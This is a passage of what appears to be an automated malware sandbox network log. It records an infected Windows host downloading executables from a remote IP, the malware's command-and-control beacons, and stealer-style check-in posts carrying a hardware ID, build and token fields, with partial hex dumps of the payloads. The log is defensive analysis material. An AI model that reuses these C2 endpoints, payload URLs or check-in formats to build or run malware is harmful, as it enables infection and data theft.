Aug 30, 2024 03:17:48.943320036 CEST	94	OUT	GET /prog/66d0cd9a65b5d_vqwergf.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:49.729463100 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:49 GMT Content-Type: application/octet-stream Content-Length: 196648 Last-Modified: Thu, 29 Aug 2024 19:35:54 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd9a-30028" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ee cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ce 02 00 00 0a 00 00 00 00 00 00 ae ed 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 4e 2c 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ed 02 00 53 00 00 00 00 00 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 da 02 00 28 26 00 00 00 20 03 00 0c 00 00 00 20 ec 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ @N,`XS.(& H.text `.rsrc.@@.reloc @BHxR&(,XUfh&\=E%"=m?*<UHft$U!B#:dE\J19KlXGRA6\|^.o@&5:i XmXj_0"LXEO j%mnEcT%3C))^:Tn7wY.`[AtyNjs\|QT?9':l${&V}9nes[?wqR/_JU8ir_Rhy<<@/'-Uv8F2zU'q5,.+GE?@@!
Aug 30, 2024 03:17:49.729486942 CEST	1236	IN	Data Raw: 83 ab e3 da 3f cc b6 59 79 06 32 2e 2e df ac e5 9d 05 59 71 c0 5f 0a e3 76 64 5b 1d a0 98 f9 04 44 fe cf dc 09 56 52 c7 51 9f e3 3c eb eb 86 50 e1 b2 5b f4 62 ca 96 23 5f b7 44 c9 01 98 2f df ef 7f 36 8c 59 a3 cf 08 d5 ff 79 57 f8 da a8 64 a2 40 Data Ascii: ?Yy2..Yq_vd[DVRQ<P[b#_D/6YyWd@$T)(tFT?VyqYCC9MeAr)j1#1?L=]N;0Y>/XRDlOp:<u=4NbY%tU:yRPBG$v9hAb
Aug 30, 2024 03:17:49.729500055 CEST	448	IN	Data Raw: 4d b1 d6 90 3e 7d 18 fb c9 d5 d4 47 4b 10 47 66 d2 46 6d 39 18 3d 7e 31 e2 72 5c bf 6e 94 4d 39 f2 bd ba 67 ab ec 0a a2 41 de be d8 27 0c 9f f9 95 39 da 10 91 44 fa 67 3b e7 da cc 5c e2 d0 9e 5f a4 89 4b e7 fe e7 6f 9f ac 46 35 b5 73 5c 32 51 46 Data Ascii: M>}GKGfFm9=~1r\nM9gA'9Dg;\_KoF5s\2QFR?<J1R%:o+B?\W6t~sLzS{AqQm"'m&"\|x'T.C)uc'[r76iOM?BX](&i
Aug 30, 2024 03:17:49.729511023 CEST	1236	IN	Data Raw: 10 00 d3 fb 5f 96 5f 86 52 90 a2 99 4c 3d 1a 0a 3d 73 76 06 1e 34 a3 70 ad 35 ff 0c d3 e1 93 a0 d2 e5 57 5e 71 78 35 ab 21 09 e8 33 d8 f5 b6 9e c8 e8 27 46 cd 38 b4 37 65 73 6c 55 f4 76 f0 80 7c 79 80 56 5a ee 8b 97 c1 c1 56 3d 53 66 b8 cd 73 3a Data Ascii: __RL==sv4p5W^qx5!3'F87eslUv\|yVZV=Sfs:p.S25{Cz@$sY1m /7",..tb^VCd[}eQ?V\>/SNo!k7,Qh9n?xC
Aug 30, 2024 03:17:49.729521990 CEST	1236	IN	Data Raw: a4 5c 3d 2a 3b 90 aa be b6 cb 99 8f 79 a7 97 49 c3 d9 95 b1 22 19 60 4b 0c a2 31 d2 e8 50 31 55 53 92 ee 38 0d 76 8c 1a 6e 3d d3 f8 b2 c2 eb fa 6d 8d 4f 5c 3b cd 11 20 2b 0e a0 84 5e 17 92 79 f3 b6 76 56 5e dc 0f 3b bb 13 a1 cb 6f 42 4e 52 90 af Data Ascii: \=;yI"`K1P1US8vn=mO\; +^yvV^;oBNRl['f^D1'ZKt[}w(NlaMOirg_74yA]]bJGHpb\s=nB{lw/+%?[h7RMJ!4ajIJ
Aug 30, 2024 03:17:49.729540110 CEST	1236	IN	Data Raw: 62 73 87 e2 ab c8 f4 5e 58 c1 e1 e5 d2 52 11 8d 05 e0 39 70 93 f4 70 fa cf 77 b9 22 ab 90 2d f0 f3 b5 f3 d4 68 e5 b1 8b c1 b9 2a 4c 81 68 a8 26 1c 24 59 f6 8f f9 5a e6 21 e2 f3 f2 49 80 3d eb 39 44 e3 01 b9 97 58 42 94 4c 13 ef d8 f3 35 ff 4f bc Data Ascii: bs^XR9ppw"-hLh&$YZ!I=9DXBL5OIBSQ~}0?D0\;G99`T>Qy-tw{AJ=REB*=L6hr?njKD<EHZyZL
Aug 30, 2024 03:17:49.729558945 CEST	1236	IN	Data Raw: 01 b7 1e 61 a8 29 54 a1 0b 28 ea d1 8c ce 6c 7a 8a 3a 48 92 68 49 58 4a 4a b9 f5 56 7f a0 09 a8 f4 43 67 22 9d 7c f7 20 9b 04 63 28 13 91 18 26 cc 20 cb a8 67 80 27 1a cd b3 47 92 37 7c 0c 86 bf 2b 0b 31 ca 37 e9 a9 cc 3a 0d 7b a6 b1 e2 67 b7 97 Data Ascii: a)T(lz:HhIXJJVCg"\| c(& g'G7\|+17:{gEhP[rNfhTo5r#O5DsKit tEqLM%FU=h5cfsbr^CZE(wOL>s\xj??w73l
Aug 30, 2024 03:17:49.729573011 CEST	1236	IN	Data Raw: 34 c7 12 24 46 6b 8d 8f c8 2a 78 87 27 08 ce b8 0b 57 f7 f8 fd 21 59 14 3f 6e 2b 06 ae d1 62 da 1a 01 99 3f 40 11 48 9e d2 96 dd fa fd 05 cf 55 7b 7e 54 55 a7 56 ba a1 cc 3b 29 a1 01 bf 06 12 9f 42 be 92 49 b4 a2 88 7b 92 e3 c6 db 7c f4 25 66 7e Data Ascii: 4$Fk*x'W!Y?n+b?@HU{~TUV;)BI{\|%f~)~zXD\8Q}bT^C'69#ICN{L^QhLOh$L@9Rp45hzHIbWwb}b%ht`JC#[<r5kC;}
Aug 30, 2024 03:17:49.729584932 CEST	1236	IN	Data Raw: a9 e5 86 e2 0e d2 5d e5 c1 71 f1 60 76 2b 2c f1 2a 8a 82 2f 60 64 59 ff aa 21 de ed d5 5e a1 17 7c a3 9b 86 5d e8 b4 3c 86 91 19 e9 8a a9 8d 0d fe 27 10 ce 29 f9 65 44 b9 1f d9 90 78 52 75 06 99 b4 d0 d1 fe 15 98 37 bd c4 b6 d7 67 8f 71 7f f6 72 Data Ascii: ]q`v+,*/`dY!^\|]<')eDxRu7gqr7(Yzw!O!z9@uKxKPy\|-:),cu5yYexy{\^ea0g%h7kaSv]`u)~=GiU{t
Aug 30, 2024 03:17:49.729598045 CEST	1236	IN	Data Raw: 26 62 8f 11 81 90 91 d0 7c fc 4a 71 fa db fd ce b5 74 95 3e 8b 96 c8 56 44 0e 72 14 97 22 f5 92 f0 9c c9 55 85 a8 2f 72 98 3c 0f f6 07 b5 98 1b 79 06 a2 d1 66 55 b2 3d 63 7f 73 a4 00 4c 60 94 b6 ba 8d 90 94 1d d8 f1 3d ec 59 45 49 ab f1 fc c1 01 Data Ascii: &b\|Jqt>VDr"U/r<yfU=csL`=YEI{MJT7Q4R$DM+SAzMzh>ti3ByLUEiG0(]t0PA<Su_A[X`i6LS0E6v6x( ^/9Mua@#$Mo8mp`
Aug 30, 2024 03:17:49.729612112 CEST	1236	IN	Data Raw: 24 d6 00 e1 e1 ca 4d f4 ee ed aa 09 65 77 ca 89 17 84 6f fd ca 34 a7 38 96 9d 3b 14 b9 ce 56 86 70 df 98 73 84 ef 79 0a d5 c5 82 da 2b 53 5b 7a 69 7d 9c 9f 32 82 df aa 77 6b b9 9e 82 22 a3 9d 8e 05 07 ea 67 1f 3b 7d 4d 2c 0a b6 7a ec 15 eb 22 7e Data Ascii: $Mewo48;Vpsy+S[zi}2wk"g;}M,z"~.v&ub@+3_X]8QY*cDM{cj4j%jRqg%6CV\|}dGK4 Emj\6\m=z$0Tof
Aug 30, 2024 03:17:50.509385109 CEST	92	OUT	GET /prog/66d0cd8fb6f7b_lgjfd.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:50.703824997 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:50 GMT Content-Type: application/octet-stream Content-Length: 328744 Last-Modified: Thu, 29 Aug 2024 19:35:43 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd8f-50428" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 19 cd d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d2 04 00 00 0a 00 00 00 00 00 00 ae f1 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 fe 11 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 f1 04 00 53 00 00 00 00 00 05 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 de 04 00 28 26 00 00 00 20 05 00 0c 00 00 00 20 f0 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ @`XS.(& H.text `.rsrc.@@.reloc @BHxSac?6UCMf'<soo<CqwNeie4+R1brIUU<N\|cVGH$&~+<38tR]Bz4-oC{{9x0wI7_;!'qU?`/+,PM8}3j$Y=2)W]tZ>g2i-I[wuha3Qy=c2nQJ>=fwE-`/'g$1sW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49796	185.215.113.100	80	8004	C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:25.436214924 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 03:18:26.138461113 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:18:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 03:18:26.296245098 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE Host: 185.215.113.100 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 42 30 31 42 33 39 30 31 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="hwid"53B01B3901222838420810------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="build"leva------AEBKKECBGIIJJKECGIJE--
Aug 30, 2024 03:18:26.567663908 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:18:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49798	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:28.335542917 CEST	314	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692396387f711c7ee91 HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:29.045593023 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49800	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:29.359529018 CEST	314	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692396387f711c7ee91 HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:30.007219076 CEST	1228	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 33 66 63 0d 0a 36 37 62 36 38 61 38 61 33 32 30 33 61 37 37 62 30 34 31 38 66 35 35 66 36 37 37 63 38 31 63 34 35 39 66 65 38 62 64 32 65 39 31 66 31 65 66 35 61 32 35 63 65 39 31 35 38 35 62 63 63 66 62 35 66 62 63 34 30 61 64 39 30 38 38 62 65 38 64 65 32 32 36 36 65 32 30 38 61 36 62 62 39 64 35 39 32 64 65 62 37 36 35 62 62 33 37 34 66 30 36 37 62 37 33 32 35 36 63 30 65 30 64 35 30 65 63 61 34 32 63 64 37 64 62 30 31 62 66 65 33 33 38 65 33 38 65 35 31 39 61 32 37 38 63 34 35 33 61 35 65 31 34 62 65 65 35 30 37 65 34 33 65 63 32 34 36 63 39 33 33 65 37 39 38 63 66 65 30 66 63 34 65 61 38 62 39 63 33 64 63 37 36 65 39 36 31 36 64 38 35 62 38 39 32 66 61 38 35 62 62 32 66 37 35 62 32 34 66 33 37 64 64 35 66 37 37 38 62 39 38 66 65 66 64 65 34 62 65 66 33 62 64 37 31 37 33 64 35 34 34 34 32 39 65 61 33 62 37 62 30 65 36 63 62 38 65 63 38 64 66 65 38 64 32 66 35 30 65 34 34 32 37 63 32 37 65 30 32 62 35 66 66 65 65 32 65 65 38 63 66 30 33 66 37 62 61 34 65 64 34 63 39 33 38 30 65 35 37 62 32 32 31 [TRUNCATED] Data Ascii: 3fc67b68a8a3203a77b0418f55f677c81c459fe8bd2e91f1ef5a25ce91585bccfb5fbc40ad9088be8de2266e208a6bb9d592deb765bb374f067b73256c0e0d50eca42cd7db01bfe338e38e519a278c453a5e14bee507e43ec246c933e798cfe0fc4ea8b9c3dc76e9616d85b892fa85bb2f75b24f37dd5f778b98fefde4bef3bd7173d544429ea3b7b0e6cb8ec8dfe8d2f50e4427c27e02b5ffee2ee8cf03f7ba4ed4c9380e57b2217a369eb98d5b066d06104283164a756cbdab3302ea4cb0fb91eb8a432b2c1cb3074210fdb35f515eecfbf044acc3712ce57dbf363962fb69440a7eacea9c13f3dbf7bb9e70f9ba0b77259a599f529ace084821ef316e2588a4f6ccfb5cafcdc4c79a490f038ac77970e37a828d538dd9f0bcf58ab36020257cdc96c5f33586685fc8e212d684a0ecdc7b20e10ffc8b9ead83e7e7be73f8ec302035e9faada074c5ad57d7d50364ee3dad1cbeec854823d6d4fe07e308222b5cf937f8155c8893e1a0b7f9cf49bf4190ea4258fd8127308d433d2f594006837759b2b03ea544c7b678647d9b9bde535a7cfc31555932ec948508db2d76eda5925bf68fc2c23b37a81541ec5a2a4ae6facc30d8c4cd7dad54aa817a941f7abba669bae2ea12e3d0929c6877902efa2d54478eb2e382a02499a6af228f940c51883addec20ebd19e6c0e1836803c47f7bfbd305cc5302094bd [TRUNCATED]
Aug 30, 2024 03:18:32.998792887 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:33.297106028 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49804	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:33.594757080 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:34.258275032 CEST	1084	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 33 36 63 0d 0a 36 37 62 36 39 63 39 35 33 38 30 34 62 32 36 62 35 36 35 66 65 39 35 62 33 32 31 62 64 31 39 61 35 35 66 63 38 66 63 66 66 35 31 65 31 39 65 62 62 64 35 35 65 39 30 33 63 61 66 66 38 64 65 37 39 35 38 37 34 64 38 30 34 37 64 32 65 35 64 61 32 61 33 36 61 65 34 38 65 30 64 35 63 34 30 37 32 32 65 63 37 34 35 32 61 63 37 35 66 36 36 37 61 32 33 35 35 30 64 65 66 63 64 32 31 36 63 34 34 36 64 33 37 62 62 36 31 61 66 65 33 33 38 61 32 36 65 66 31 36 61 33 37 38 63 37 35 32 61 35 65 37 34 62 66 33 35 63 37 38 34 39 65 64 32 34 36 37 39 35 33 30 36 36 38 37 66 61 30 66 63 31 65 37 39 63 38 34 33 32 63 34 37 31 39 66 31 30 64 32 35 31 38 66 32 61 62 36 35 32 62 31 65 38 35 64 33 66 65 61 37 64 63 63 66 63 37 62 62 30 39 31 65 36 64 35 34 30 65 37 33 65 63 39 31 36 33 65 35 63 35 65 33 65 65 32 32 30 37 36 31 36 36 37 62 64 65 63 39 33 66 63 38 35 32 63 35 62 65 37 35 63 37 62 32 31 66 35 32 62 35 38 66 30 65 32 65 65 38 63 65 34 33 63 37 61 61 35 66 33 34 36 39 34 38 34 66 31 37 65 32 37 31 [TRUNCATED] Data Ascii: 36c67b69c953804b26b565fe95b321bd19a55fc8fcff51e19ebbd55e903caff8de795874d8047d2e5da2a36ae48e0d5c40722ec7452ac75f667a23550defcd216c446d37bb61afe338a26ef16a378c752a5e74bf35c7849ed246795306687fa0fc1e79c8432c4719f10d2518f2ab652b1e85d3fea7dccfc7bb091e6d540e73ec9163e5c5e3ee220761667bdec93fc852c5be75c7b21f52b58f0e2ee8ce43c7aa5f3469484f17e2713bd63ee90ceac63d175042b347aa456c4dfad392eb1cb0fba1ebcaa2cb9c4cf2e75290ad935eb13e5d0bd0251d33712da54dff27d9f2db59c5da2e2d0a3c13f25a07db4f30898a3a2725aa38df521adfe8e821af313e444864b72cdb6c9f7db4a67a192ef32aa6a8b0a34b521d626dc9c05c15cb531041750cddf705e3b4c6185e28f2a246a4a10cfc9b2170dffd1a6e8dc356179e33f8fc1050b4096abcc065242d46374593650e2d0d0c6f5ca539c37654ae07d318a36b4cb95618b53c886251c0b6a9ef680e8190bb82e8fdf0c7002d731ccf491037e3d6f95351cec59466066864fd0bea3e734a8d2c30e508c29d643538aacd567d45b38b768e22627bb619e5519cebaa2ad71aeca0f924ed6ee0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49806	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:34.688592911 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:35.353842020 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49807	95.164.119.162	80	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:34.821201086 CEST	315	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: stadiatechnologies.com Content-Length: 6113 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 03:18:34.821244001 CEST	6113	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 Data Ascii: ------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------CBFIJEGIDBGIEC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49808	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:35.693759918 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:36.361732960 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49809	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:37.288994074 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:37.901384115 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49810	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:38.347495079 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:38.999375105 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49811	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
